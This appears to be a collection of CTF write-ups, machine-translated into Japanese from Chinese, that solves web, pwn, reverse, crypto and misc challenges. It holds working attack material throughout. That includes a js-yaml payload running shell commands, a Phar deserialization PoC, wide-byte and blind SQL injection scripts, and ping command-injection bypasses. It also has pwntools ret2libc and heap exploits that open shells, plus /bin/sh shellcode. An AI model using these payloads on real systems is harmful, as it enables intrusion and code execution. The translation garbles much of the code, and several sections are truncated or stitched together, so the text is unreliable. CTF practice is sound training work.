CBを使用してBase64をエンコードし、直接呼び出さないでください。 JARパッケージの場合、内部APIエラーを防ぎます。ローカルでは、CVE-2022-22978を使用してアイデンティティ認証をバイパスし、FastJSONのキャッシュバイパスを使用し、JNDIインジェクションを実装します

開始。image.png image.png image.png

信号

まず、この質問は、他のファイル形式をyaml形式に変換し、yaml.load()がJSオブジェクトとしてロードされるためです。 GithubでJS-Yamlドキュメントの説明を見つけ、オブジェクトを解析する方法、公式Webサイトにも例を挙げてください。ここでは、それが何を解析できるかを直接調べます。image.png

発見可能な分析方法image.png

JS-YAMLバージョンは3.14.1ですが、新しいバージョンの提出と比較して

https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c

これは、デフォルトの危険モードの最後のバージョンであり、タグを使用して任意のJS関数を構築できます。 js/function image.png

次に、テンプレートレンダリング場所で、オブジェクトのトストリング方法が自動的に呼び出されます

したがって、次のペイロードとしてファイルyamlファイルコンテンツをアップロードするだけです

'name' : {toString: js /function 'function(){flag=mainmodule.require(' child_process ')。execsync(' cat /fla*')。tostring();フラグを返します;} '}

swagger docs

1。インターフェイスドキュメントを読んで、ウェブサイト機能を把握する

2.ユーザーを登録します

http://47.108.206.43:40476/API-Base/V0/Register

{'username':'admin'、 'password':'admin'}

3。ログインします

http://47.108.206.43:40476/api-base/v0/login

{'username':'admin'、 'password':'admin'}

4.任意のファイルを読み取ります

テストでは、ファイルの読み取りが/api-base/v0/searchインターフェイスに存在することがわかりました

プロセスを読んでください

http://47.108.206.43:40476/api-base/v0/search?file=./././././proc/1/cmdlineType=テキスト

ソースコードの場所を読んでください

http://47.108.206.43:40476/api-base/v0/search?file=././././app/run.shtype=text

ソースコードを読んでください

5。コード監査

image.png

/api-base/v0/searchにはrender_template_string()があることがわかりました。これにより、STIがRCEを引き起こす可能性があり、レンダリングコンテンツのみを制御する必要があります。

UAPATE()関数にはプロトタイプチェーンに似た汚染があり、環境を変更するために使用できます。

1。 web

1.web_baliyun

入力後、ファイルがアップロードされ、写真のみをアップロードできます。 www.zipにアクセスしてソースコードを取得します

1049983-20220922090556835-1442997120.pngウェブサイトソースコード:index.php:php

include( 'class.php');

if(isset($ _ get ['img_name'])){

$ down=newCheck_img();#ここに

echo $ down-img_check();

}

if(isset($ _ files ['file'] ['name'])){

$ up=newupload();

echo $ up-start();

}

class.php3360?php

classupload {

public $ filename;

public $ ext;

public $ size;

public $ valid_ext;

publicfunction__construct(){

$ this-filename=$ _ files ['file'] ['name'];

$ this-ext=end(Explode( '。'、$ _ files ['file'] ['name']));

$ this-size=$ _ files ['file'] ['size']/1024;

$ this-valid_ext=array( 'gif'、 'jpeg'、 'jpg'、 'png');

}

publicFunctionStart(){

$ this-check();

}

privateFunctionCheck(){

if(file_exists($ this-filename)){

「Imagealreadyexsists」を返します。

} elseif(!in_array($ this-ext、$ this-valid_ext)){

'onlyimagecanbeuploaded'を返します。

}それ以外{

return $ this-move();

}

}

privateFunctionMove(){

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ this-filename);

'uploadsuccsess!'を返します。

}

publicfunction__wakeup(){

echofile_get_contents($ this-filename);#ここ2

}

}

classcheck_img {

public $ img_name;

publicfunction__construct(){

$ this-img_name=$ _ get ['img_name'];#ここに

}

publicfunctionimg_check(){

if(file_exists($ this-img_name)){#here1

「ImageExsists」を返します。

}それ以外{

「イマンノティーズシスト」を返します。

}

}

} PhARが降下し、アップロードしてからそれを含めることは明らかです。また、コードはアップロードとしてアップロードディレクトリを配信し、ファイル名は変更されていません。

Phar Deserializationの詳細については、参照してください

PHP降下拡張攻撃の詳細な説明-Phar: https://xz.aliyun.com/t/6699

Phar and Stream Lapperは、PHP RCE : https://xz.aliyun.com/t/2958の詳細なマイニングを引き起こします。

#test.php

?php

classupload {

public $ filename;

publicfunction__construct(){

$ this-filename='file: ///flag';

}

}

$ phar=newphar( 'tao.phar');

$ phar-stopbuffering();

$ phar-setstub( 'gif89a'。 '?php__halt_compiler();');

$ phar-addfromstring( 'test.txt'、 'test');

$ payload=newupload();

$ phar-setmetadata($ payload);

$ phar-stopbuffering();

php - definedphar.readonly=0test.php

mvtao.phartao.gif

クラスでPhARを開始できる関数file_existsを見ました。フラグを読むことができる関数。その後、アイデアは非常に明確です。 TAO.GIFを直接アップロードすると、コンテンツはアップロードクラスであり、プロパティファイル名は /フラグです。次に、IMG_NAMEをPhAR: //アップロード/TAO.GIFに渡して、PHARパッケージをトリガーします

Tao.gifをアップロードしてから?img_name=phar: //upload/tao.gifはフラグを取得できます。

oulo@gota:~$curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/tao.gif|grep'flag ''

...............

get/index.php?img_name=phar: //upload/tao.gifhttp/1.1

host:39.107.82.169:27417

user-agent:curl/7.58.0

Accept:*/*

HTTP/1.1200OK

日付:mon、19sep202220336042:08gmt

server:apache/2.4.25(debian)

X-Powed-by:php/5.6.40

vary:ACCEPT-ENCODING

Content-Length:1925

content-type:text/html; charset=utf-8

...............

flag {s8hjqg5ftej9kcc65mn55k9xjrrgyvqg}

2.EASYLOGIN

SQL注入。 Burpがパケットをキャッチしたとき、GBKがコードを絞ったことを発見し、それが広いバイトインジェクションであることに気付きました。

username=admin%df'password=admin

エラーを報告する:

SQL構文にエラーがあります。適切な構文のためにMySQL Serverバージョンに対応するマニュアルを確認してください。

関節注入発見:をテストします

1049983-20220922090557623-1116459392.jpgには常に構文エラーがあります。トラブルシューティング後、SelectとUnionが空に置き換えることがわかっているため、Double Writeを使用してバイパスする方が簡単です。

直接関節噴射パスワードをログインできません。通常のサイト開発パスワードはMD5になると思います。そのため、MD5を使用して暗号化します。引用符は使用できないため、16進バイパスを選択します。

1049983-20220922090558263-459598854.jpg

仮想テーブルを作成し、直接ログインします。バックグラウンドロジックはMD5比較です。同様の元の質問username=admin%df%27Ununion%0aseElectlect%0A66,66,0x343762636365365633734666635383963438363776462643535365396363613963830-#PROPT=AAAA AAAパスワードが弱く、パスワードはadmin123を爆破します

1049983-20220922090558895-1246514747.png

get/index.php?ip=127.0.0.1%0alshttp/1.1

host:39.107.75.148:19304

pragma:No-cache

Cache-Control:No-Cache

アップグレード-Insecure-Requests:1

user-agent:mozilla/5.0(windowsnt10.0; wow64)applewebkit/537.36(khtml、virtgecko)chrome/86.0.4240.198Safari/537.36

Accept:Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.9

Referer:http://39.107.75.148:19304/index.php?ip=ip

Accept-Encoding:GZIP、deflate

Accept-Language:Zh-Cn、Zh; q=0.9

cookie:phpsessid=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335

Connection:Close 1049983-20220922090559527-52671451.jpg

#ソースコードを読み取ります

?ip=127.0.0.1%0apaste%09index.pharray

[0]=?php

[1]=

[2]=header( 'content-type:text/html; charset=utf-8');

[3]=

[4]=//オープンセッション

[5]=

[6]=session_start();

[7]=

[8]=

[9]=

[10]=//最初にCookieがユーザー情報を覚えているかどうかを判断します

[11]=

[12]=if(isset($ _ cookie ['username'])){

[13]=

[14]=#ユーザー情報を覚えている場合、セッションに直接送信されます

[15]=

[16]=$ _セッション['username']=$ _ cookie ['username'];

[17]=

[18]=$ _セッション['islogin']=1;

[19]=

[20]=}

[21]=

[22]=if(isset($ _ session ['islogin'])){

[23]=

[24]=//ログインした場合

[25]=

[26]=

[27]=$ res=false;

[28]=

[29]=if(isset($ _ get ['ip'])$ _ get ['ip']){

[30]=$ ip=$ _ get ['ip'];

[31]=$ m=[];

[32]=if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | touch | curl | curl | scp | kylin | echo | tmp | var | run | greep | - | `|' | '| : |||| more)/'、$ m){

[33]=$ cmd='ping-c4 {$ ip}';

[34]=exec($ cmd、$ res);

[35]=} else {

[36]=$ res='ハッカー、違法な声明があります';

[37]=}

[38]=}

[39]=

[40]=

[41]=} else {

[42]=

[43]=//ログインしていない場合

[44]=

[45]=Echo'Youはまだログインしていません。Ahref='login.html'login/a';

[46]=

[47]=}

[48]=

[49]=?定期的な傍受は次のとおりです。

if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | curl | scp | kylin | echo | tmp | var | run | grep | - | `|' | : ||| more | more)/'、$ ip、m)しかし、 /傍受されるため、ディレクトリを入力してファイルを読み取ろうとしますが、質問はLinuxシステムの特性を使用してKylinをフィルターし、ディレクトリファイルを定期的に確認します。

#Kylinディレクトリを読み取ります

?ip=127.0.0.1%0als%09ky ?#出力:

事前に

[0]=flag.txt

))

/pre#finalPayload

?IP=127.0.0.1%0ACD%09KY ?%0APASTE%09FL*#%09=''(TAB)、実際には$ {ifs}もできます

?ip=127.0.0.1%0ACD%09KY ?%0apaste $ {ifs} fl*

?ip=127.0.0.1%0aca''t $ {ifs} $(fi''nd $ {ifs}バイナリを使用して、ケースに敏感になります。

1049983-20220922090601456-1710777780.png

スクリプトのインポレクティストの直接メモ

proxy={'http':'127.0.0.133608080'}

result='0x'

k=0forjinrange(100):

Foriinrange(33,126):

k=hex(i)

K=K [2:]

結果+=k

Password='または(case \ x09when \ x09(binary \ x09username'+result+')\ x09then \ x091 \ x09else \ x09223372036854775807+1 \ x09end)#'

data={'username':'aa \\'、 'password':password}

re=requests.post(data=data、url=url、proxies=proxy、aople_redirects=false)

#sleep(0.1)

印刷(re.status_code)

if'msg'notinre.text:

結果=結果[:-2]

l=hex(i-1)

L=L [2:]

結果+=l

印刷(結果)

壊す

else:

結果=result [:-2]最後に、username=flag_accountpassword=g1ve_y0u _@_ k3y_70_937_f14g !ログインを送信した後、それは単純な再ファイルであることがわかります。フィルタ /フラグを立てるだけで、直接使用できません。 /proc/self/root/flagを使用するだけですか?phpsession_start(); if(sesset($ _ session ['name'])){if($ _ session ['name']==='flag_account'){$ file=urldecode($ _ get ['file']); if(!if(! preg_match( '/^\/flag | var | tmp | php | log | \%| sess | etc | usr | \。| \ : | base | ssh | http/i'、$ file ){readfile($ file);} else {echo'tryagain〜 ';}} show_source(__ file __);} else {echo'login〜';}

1049983-20220922090602071-124416845.jpg

1049983-20220922090602648-1448644284.png

3.web_letmeguess_1

4.web_eeeeasy_sql

BASIC RET2LIBC

frommpwnimport*

context.log_level='debug'#p=process( './h3ll0rop')

p=remote('47 .93.30.67 '、52705)

elf=elf( './h3ll0rop')

libc=elf( './libc-2.23.so')

pop_rdi=0x0000000000000400753#vuln=0x400647

vuln=0x4006cc#leaklibc

ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(elf.got [' puts '])+p64(elf.plt [' puts '])+p64(vuln)

P.Sendlineferter(b'me ? '、ペイロード)

libc_base=u64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

print( 'libc_base'、hex(libc_base))

system=libc_base+libc.sym ['system']

binsh=libc_base+next(libc.search(b '/bin/sh'))#getshell

ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)

P.Sendlineferter(b'me ? '、ペイロード)

p.Interactive()p.close()

2。 pwn

frommpwnimport*

Context(os='linux'、arch='amd64')

context.log_level=true

e

Misc

署名の問題

ネットワークセキュリティにおける8つの複数選択の質問、Baiduは回答を検索できます。ここでいくつかの質問に対する回答のみを知っている場合は、列挙を使用してファズの回答をテストしてフラグを取得できます

1049983-20220829111934840-398261753.jpg

flag3360

フラグ{A236B34B-8040-4EA5-9E1C-97169AA3F43A}

re

re693

添付ファイルを直接ダウンロードして、Golangで開きます

主な関数を見ると、2つの文が印刷され、6つのパラメーターを持つ関数の入力が必要であり、3つはGlihrであることがわかります。

6つのパラメーターと3番目の名前がglihr:を持つ最初の関数を入力します

最初の関数を入力すると、6つのパラメーターがあり、3つ目はGlihrと呼ばれます。

3つの呼び出しがあり、chzv5op8romlakb6:という名前の関数を呼び出す2番目の関数を入力します

3つの発信者がいる2番目の関数を入力し、chzv5op8romlakb6という名前の関数を呼び出します。

直接的なグローバル検索、最初の関数は、zlxdjkh3ozn4mayd、6つのパラメーターを備えています

1049983-20220829111935787-1852581138.jpg 2番目の関数は、最初にCHZV5OP8ROMLAKB6をグローバルに検索して、どの関数がこの関数を呼び出すかを確認し、さらに検索してシンボルが質問の意味を満たしているかどうかを確認します。対応する関数はUHNCM82SDGE0ZLYOです

1049983-20220829111936524-69971324.jpg 6、出かけて自分自身、そして次回の2つの繰り返しの判断があります。その後、3つの呼び出しがあります

1049983-20220829111937099-603256132.jpg次に、メイン関数を見てください

func main(){

var nfazj、cuskl string

jjxxf :=[] byte {

37、73、151、135、65、58、241、90、33、86、71、102、241、213、234、67、144、139、20、112、150、41、7、158、251、167、249、24、24、129、72、83、142、142、162、236、236、236、236、236、236、236、236、236、236、236、236、236、236、236、236、231 38, 83, 147, 40, 78, 239, 113, 232, 83, 227, 47, 192, 227, 70, 167, 201, 249, 156, 101, 216, 159, 116, 210, 152, 234, 38, 145, 198, 58, 24, 183, 72, 143, 136, 234, 246}

kdlah :=[] byte {

191、140、114、245、142、55、190、30、161、18、18、200、7、21、59、17、44、34、181、109、116、146、145、189、68、142、113、0、33、46、184、21、33、66、99、124、167、20、21、88、133、21、133、21、133、133、133、133 133, 250, 62, 28, 138, 229, 105, 102, 125, 124, 208, 180, 146, 67, 39, 55, 240, 239, 203, 230, 142, 20, 90, 205, 27, 128, 136, 151, 140, 222, 92, 152, 1, 222, 138, 254, 246, 223, 224, 236, 33、60、170、189、77、124、72、135、46、235、17、32、28、245}

fmt.print(mpyt9gwtrfafnvb1(jjxxf))

fmt.scanf( '%20s'、nfazj)

fmt.print(kz2bfvoxepd5aldr(kdlah))

fmt.scanf( '%20s'、cuskl)

vnvuo :=gwsqnhq7dpxpig64(nfazj)

yjcya :=''

mvoxk :=yi3z8zxokhflmtpc(cuskl)

mvoxk!=nil {

yjcya=mvoxk()

}

if yjcya!='' vnvuo!='' {

fmt.printf( 'flag {%s%s} \ n'、vnvuo、yjcya)

}

}

フラグは2つのセクションに分かれています。最初のセクションはvnvuo、2番目のセクションはyjcyaです

最初の関数

func gwsqnhq7dpxpig64(cjptr string)string {

yrxqd :=hex.encodetostring([] byte(cjptr))

return fmt.sprintf( '%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c'、yrxqd [22]、yrxqd [19]、yrxqd [20]、yrxqd [21]、yrxqd [28]、yrxqd [20]、yrxqd [20]、 yrxqd [7]、yrxqd [29]、yrxqd [14]、yrxqd [0]、yrxqd [18]、yrxqd [3]、yrxqd [24]、yrxqd [27]、yrxqd [31])

}

最初の段落exp

yrxqd=bytes.hex( 'zlxdjkh3ozn4mayd'.encode()))

print(yrxqd [22]、yrxqd [19]、yrxqd [20]、yrxqd [21]、yrxqd [28]、yrxqd [10]、yrxqd [20]、yrxqd [7]、yrxqd [29]、yrxqd [14]、yrxqd [0]、yrxqd [0]、 yrxqd [3]、yrxqd [24]、yrxqd [27]、yrxqd [31]、sep='')

2番目の段落には、関数が含まれます

1049983-20220829111937715-426100571.jpgこの部分は戻り機能であり、uhncm82sdge0zlyoに電話する必要があります

func uhncm82sdge0zlyo()string {

sythk :=[] byte {

159、141、72、106、196、62、16、205、170、159、36、232、125、239、208、3}

VAR VW2MJ、NIJ87、ZVCLR文字列

CHZV5OP8ROMLAKB6を返します(Sythk、VW2MJ、Nij87、ZVCLR)

}

func chzv5op8romlakb6(higxt [] byte、vgvny string、zokkv string、eu0ud string)string {

QTK4L :=make([] byte、20)

ek08m :=[16] byte {

167、238、45、89、160、95、34、175、158、169、20、217、68、137、231、54}

i :=0; I 16; i ++ {

qtk4l [i] +=ek08m [i] ^ higxt [i]

}

return string(qtk4l)

}

以下のいくつかのVW2MJ、NIJ87、ZVCLは、無効なパラメーターです

Exp:

QTK4L=[0]*16

sythk=[159、141、72、106、196、62、16、205、170、159、36、232、125、239、208、3]

EK08M=[167、238、45、89、160、95、34、175、158、169、20、217、68、137、231、54]

範囲のIの場合(16):

qtk4l [i]=chr(ek08m [i] ^ sythk [i])

QTK4L:のIの場合

印刷(i、end='')

1049983-20220829111938354-1590376853.jpg予想外に、GO環境の最初の1つは、チームメイトが実行すると直接終了します。これはとんでもないことです。

1049983-20220829111939003-1595737541.jpgFLAG:

フラグ{3A4E76449355C4148CE3DA2B46019F75}

re694

1049983-20220829111939697-2115694814.pngはMagicによって変更され、FukはUPXに変更され、シェルを除去するのは正常でした。

1049983-20220829111940314-377427137.jpgその後、分析します

IDAを開き、キーワード文字列を見つけてから、キー関数を見つけます

1049983-20220829111940994-841696591.jpg

2つの重要な判断関数、最初の関数が入って、それが20の長さであるかどうかを見つけ、その後、入力値はxor0x66です。

1049983-20220829111941689-265183684.jpg

2番目の判断関数は、最初の判断値を10に追加してからXOR0x50に追加し、DWORD_14001D000の数と比較することです。

1049983-20220829111942331-1878237441.jpg

それは$ flag=((enc \ oplus0x50)-10)\ oplus0x66 $です

x=['4b'、 '48'、 '79'、 '13'、 '45'、 '30'、 '5c'、 '49'、 '5a'、 '79'、 '13'、 '6d'、 '78'、 '13'、 '6f'、 '48'、 '5d'、 '64'、 '64']

x:のiの場合

print(chr(((int(i、16) ^0x50)-10) ^0x66)、end='')

flag3360

フラグ{why_m0dify_pux_shell}

crypto

crypto091

説明とそこに記載されている論文によると、ハッシュ値は電話番号のSHA256です

セクション170の数分布の中国ユニコム数の最初のバッチは1709から始まり、直接爆破することができます:

X='C22A563ACC2A587AFBFAAAA6D67BC6E628872B00BD7E998887381F7C6FDC62FC' '

Hashlibをインポートします

n=b'861709 '

s=list( '0123456789'.strip())

Itertoolsをインポートします

I in itertools.product(s、repeat=7):のiの場合

d='' .join(i).encode()

g=n+d

hashlib.sha256(g).hexdigest()==x:の場合

印刷(g)

壊す

#B'8617091733716 '

または

1049983-20220829111942983-1849565841.png

秘密のインポートフラグから

crypto162

HashlibインポートMD5、SHA256から

crypto.cipher Import AESから

COF_T=[[353、-1162、32767]、[206、-8021、42110]、[262、-7088、31882]、[388、-6394、21225]、[295、-9469、44468]、[749、-3501、40599、 10210]、[354、-5383、18437]、[491、-8467、26892]、[932、-6984、20447]、[731、-6281、11340]、[420、 - 5392、44071]、 47959]、[182、-9857、49477]、[593、-3584、49243]、[929、-7410、31929]、[970、-4549、17160]、[141、-2435、36408]、[344、-3814、18949]、 -7457、40587]、[765、-7011、32097]、[700、-8534、18013]、[267、-2541、33488]、[249、-8934、12321]、[589、-9617、41998]、[940、-1166、22814、22814]、 -5660、41003]、[206、-7195、46261]、[784、-9270、28410]、[338、-3690、19608]、[559、-2078、44397]、[534、-3438、47830]、[515、-2139、 -6460、49953]、[234、-6824、12579]、[805、-8793、36465]、[245、-5886、21077]、[190、-7658、20396]、[392、-7053、19739] -8172、45734]、[321、-7102、41224]、[720、-4487、11055]、[208、-1897、15237]、[890、-4427、35168]、[513、-5106、45849]、[766、237、[766]、] -6732、39995]、[589、-6421、43716]、[866、-3265、30017]、[416、-6540、34979]、[840、-1305、18242]、[731、[731]、-13781]、[52728]、-2728、 [863、-5953、23132]、[204、-4208、27492]、[158、-8701、12720]、[802、-4740、16628]、[491、-6874、29057]、[531、-4829、29205]、29205]、[33205]、[33205] -9206、46164]、[317、-9270、18290]、[680、-5136、12009]、[880、-2940、34900]、[162、-2587、49881]、[997、-5265、20890]、[485、-9395、 -1652、18926]、[691、-7844、11180]、[355、-5990、13172]、[923、-2018、23110]、[214、-4719、23005]、[921、-9528、29351]、[349、-7957、29351] -1889、46170]、[244、-6106、23879]、[419、-5440、43576]、[930、-1123、29859]、[151、-5759、23405]、[843、-6770、3658] -1073、44718]、[932、-4037、40088]、[848、-5813、27304]、[194、-6016、39770]、[966、-6789、14217]、[219、-6849、40922]、[352、-6046、18558]、[219、-6849]、 -8254、29748]、[618、-5887、15535]、[202、-9288、26590]、[611、-4341、46682]、[155、-7909、16654]、[935、-5739]、[99342]、[99342]、[935、-5738]、[935、-5738] -5679、36725]、[507、-7074、15475]、[699、-5836、47549]]]

defcal(i、cof):

i 3:の場合

I+1を返します

else:

return cof [2]*cal(i-3、cof)+cof [1]*cal(i-2、cof)+cof [0]*cal(i-1、cof)

S=0

INRANGE(100):

s +=cal(200000、cof_t [i])

印刷

s=str(s)[-20003360-1000]

key=md5(s).hexdigest()。decode( 'hex')

check=sha256(key).hexdigest()

verify='2cf444ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec310781308156069452a6d5' '

assert(check==検証)

aes=aes.new(key、aes.mode_ecb)

data=flag +(16-len(flag)%16)*'\ x00'

print(aes.encrypt(data).encode( 'hex')))

#4F12B3A3EADC4146386F4732266F02BD03114A404CB2DABAE213ECEC451C9D52C70DC3D25154B55AF8A304AFAFED87

質問のヒントによると、私は再帰式をマトリックスに変換することを考えました(線形代数を参照して、再帰シーケンス_WDQ347のブログ-CSDNブログの一般用語を解きます)

1049983-20220829111943877-1568817961.jpg

HashlibインポートMD5、SHA256から

crypto.cipher Import AESから

COF_T=[[353、-1162、32767]、[206、-8021、42110]、[262、-7088、31882]、[388、-6394、21225]、[295、-9469、44468]、[749、-3501、40599、 10210]、[354、-5383、18437]、[491、-8467、26892]、[932、-6984、20447]、[731、-6281、11340]、[420、 - 5392、44071]、 47959]、[182、-9857、49477]、[593、-3584、49243]、[929、-7410、31929]、[970、-4549、17160]、[141、-2435、36408]、[344、-3814、18949]、 -7457、40587]、[765、-7011、32097]、[700、-8534、18013]、[267、-2541、33488]、[249、-8934、12321]、[589、-9617、41998]、[940、-1166、22814、22814]、 -5660、41003]、[206、-7195、46261]、[784、-92

web

hackme

最初にファイルがアップロードされ、UTF-16のエンコードがバイパスされ、プロンプトに応じてファイル名が爆破されます。最後の4桁を爆破0000-9999にアクセスできます。 12時間であることに注意してください。

pwn

babyrop

デバッグ

#_*_ coding:utf-8 _*_

PWNインポートから *

npとしてnumpyをインポートします

context.log_level='debug'

#context.terminal=['tmux'、 'splitw'、 '-h']

prog='./babyrop'

#elf=elf(prog)

p=process(prog)#、env={'ld_preload':' ./libc-2.27.so '})

libc=elf( './libc-2.27.so')

#P=remote( '123.57.207.81'、44823)

def debug(addr、pie=false):

debug_str=''

PIE:の場合

text_base=int(os.popen( 'pmap {} | awk' {{print $ 1}} ''。format(p.pid))。readlines()[1]、16)

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(text_base+i))

gdb.attach(p、debug_str)

else:

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(i))

gdb.attach(p、debug_str)

def dbg():

gdb.attach(p)

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

s=lambdaデータ:p.send(str(data))#inデータがintであるケース

SA=Lambda Delim、データ:p.sendafter(str(delim)、str(data))

SL=LAMBDAデータ:P.SENDLINE(STR(data))

SLA=Lambda Delim、データ:p.sendlineafter(str(delim)、str(data))

r=lambda numb=4096 :p.recv(numb)

ru=lambda delims、drop=true :p.recvuntil(delims、drop)

それ=lambda :p.interactive()

uu32=lambda data :U32(data.ljust(4、 '\ 0'))

uu64=lambda data :U64(data.ljust(8、 '\ 0'))

bp=lambda bkp :pdbg.bp(bkp)

li=lambda str1、data1 :log.success(str1+'======='+hex(data1))

DEF DBGC(ADDR):

gdb.attach(p、 'b*' + hex(addr) + '\ n c')

def lg(s、addr):

print( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s、addr))

sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'

sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ Xe3 \ Xcd \ XCD \

sh_x64_21='\ xf7 \ xe6 \ x50 \ x48 \ xbf \ x2f \ x62 \ x69 \ x6e \ x2f \ x2f \ x73 \ x68 \ x57 \ x48 \ x89 \ \ xe7 \ xb0 \ x0f \ x3b \ X0f

#https://www.exploit-db.com/shellcodes

#-----------------------------------------------------------------------------------------sa('name? \n','a'*0x19)

デバッグ([0x400752])

main=0x40075b

Val=0x400717

read_plt=0x400600

BSS=0x601010

puts_got=0x600fc0

puts_plt=0x4005d0

printf_plt=0x4005f0

sa( 'name?\ n'、 'a'*0x19)

ru( 'a'*0x19)

RDI=0x400913

canary=(uu64(ru( '、')[0:7]))8

LG(「カナリア」、カナリア)

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=(p64(0x601010+8)*3)

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x40075c))

睡眠(0.5)

#pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(val)+'\ n'

#S(支払い)

sa( 'name?\ n'、p64(rdi)+p64(puts_plt)+p64(0x40075b)+'\ n')

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=p64(puts_plt)+p64(0x400717)+'a'*8

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x40075c))

sa( 'name?\ n'、p64(rdi)+p64(0x600fc0)+p64(0x0000000000040090c)+'\ n')

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=p64(puts_plt)+p64(0x400717)+'a'*8

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x0000400911))

libc_base=uu64(ru( '\ x7f'、drop=false)[-6:]) - (0x7f23ededeaa0-0x7f23ede5e000)

lg( 'libc_base'、libc_base)

sa( 'name?\ n'、p64(rdi)+p64(libc.search( '/bin/sh')。

SLA( '彼の挑戦\ n'、str(0x4009AE))

pay=p64(puts_plt)+p64(0x400717)+'a'*8

sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x00000000000400911))

lg( 'libc_base'、libc_base)

それ()

本屋

uaf fastbin+tcache

#_*_ coding:utf-8 _*_

PWNインポートから *

context.log_level='debug'

prog='./bookshop'

#elf=elf(prog)

p=process(prog)#、env={'ld_preload':' ./libc-2.27.so '})

libc=elf( './libc-2.31.so')

#p=remote( '123.57.132.168'、30042)

def debug(addr、pie=true):

debug_str=''

PIE:の場合

text_base=int(os.popen( 'pmap {} | awk' {{print $ 1}} ''。format(p.pid))。readlines()[1]、16)

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(text_base+i))

gdb.attach(p、debug_str)

else:

addr:のiの場合

debug_str+='b *{} \ n'.format(hex(i))

gdb.attach(p、debug_str)

def dbg():

gdb.attach(p)

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

s=lambdaデータ:p.send(data)#inデータがintであるケース

sa=lambda delim、データ:p.sendafter(delim、data)

SL=Lambdaデータ:p.sendline(data)

SLA=Lambda Delim、データ:p.sendlineafter(delim、data)

r=lambda numb=4096 :p.recv(numb)

ru=lambda delims、drop=true :p.recvuntil(delims、drop)

それ=lambda :p.interactive()

uu32=lambda data :U32(data.ljust(4、 '\ 0'))

uu64=lambda data :U64(data.ljust(8、 '\ 0'))

bp=lambda bkp :pdbg.bp(bkp)

li=lambda str1、data1 :log.success(str1+'======='+hex(data1))

DEF DBGC(ADDR):

gdb.attach(p、 'b*' + hex(addr) + '\ n c')

def lg(s、addr):

print( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s、addr))

sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'

sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ Xe3 \ Xcd \ XCD \

sh='\ x48 \ xb8 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x00 \ x50 \ x48 \ x89 \ xe7 \ x48 \ x31 \ xf6 \ x48 \ x31 \ xd2 \ x48 \ xc7 \ xc0 \ x3b \ x00 \ x00 \ x00 \ x0f \ x05 ''

#https://www.exploit-db.com/shellcodes

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

DEF Choice(IDX):

SLA( ''、str(idx))

def add(con):

選択(1)

SLA( ''、con)

DEF DELETE(IDX):

選択(2)

sla( 'bag?'、str(idx))

def Show(IDX):

選択(3)

sla( 'read?'、str(idx))

def exp():

sla( 'number?'、str(0x68))

範囲(10):のIの場合

追加(6*(p64(0)+p64(0x71)))

追加(p64(0)*4+(p64(0x421)+p64(0x41)))

範囲のIの場合(7):

削除(i)

削除(8)

show(1)

ru( 'content:')

heap=uu64(ru( '\ n')[-6:])

LG(「ヒープ」、ヒープ)

範囲のIの場合(7):

追加(6*(p64(0)+p64(0x71)))

削除(8)

追加(p64(ヒープ+0x40))

追加(p64(0))

追加(p64(0)*3+p64(0x421))

lg( 'heap'、heap+0x40)

#dbg()

削除(1)

show(1)

libc_base=uu64(ru( '\ x7f'、drop=false)[-6:]) - (0x7f3f97308be0-0x7f3f9711d000)

lg( 'libc'、libc_base)

fh=libc_base + libc.sym ['__ free_hook']

sys=libc_base + libc.sym ['system']

削除(2)

削除(20)

削除(0)

追加(p64(fh)*12)

追加( '/bin/sh \ x00')

追加(p64(sys))

削除(22)

それ()

__name__=='__main __' :の場合

exp()

re

ランダム

ディバッグキーが変更されていないことを見つけるためのデバッグ

q=[0x3e、0xcd、0xaa、0x8e、0x96、0x1f、0x89、0xcd、0xdb、0xf1、

0x70、0xf2、0xa9、0x9c、0xc2、0x8b、0xf2、0xfe、0xad、0x8b、

0x58、0x7c、0x2f、0x03、0x4a、0x65、0x31、0x89、0x76、0x57、

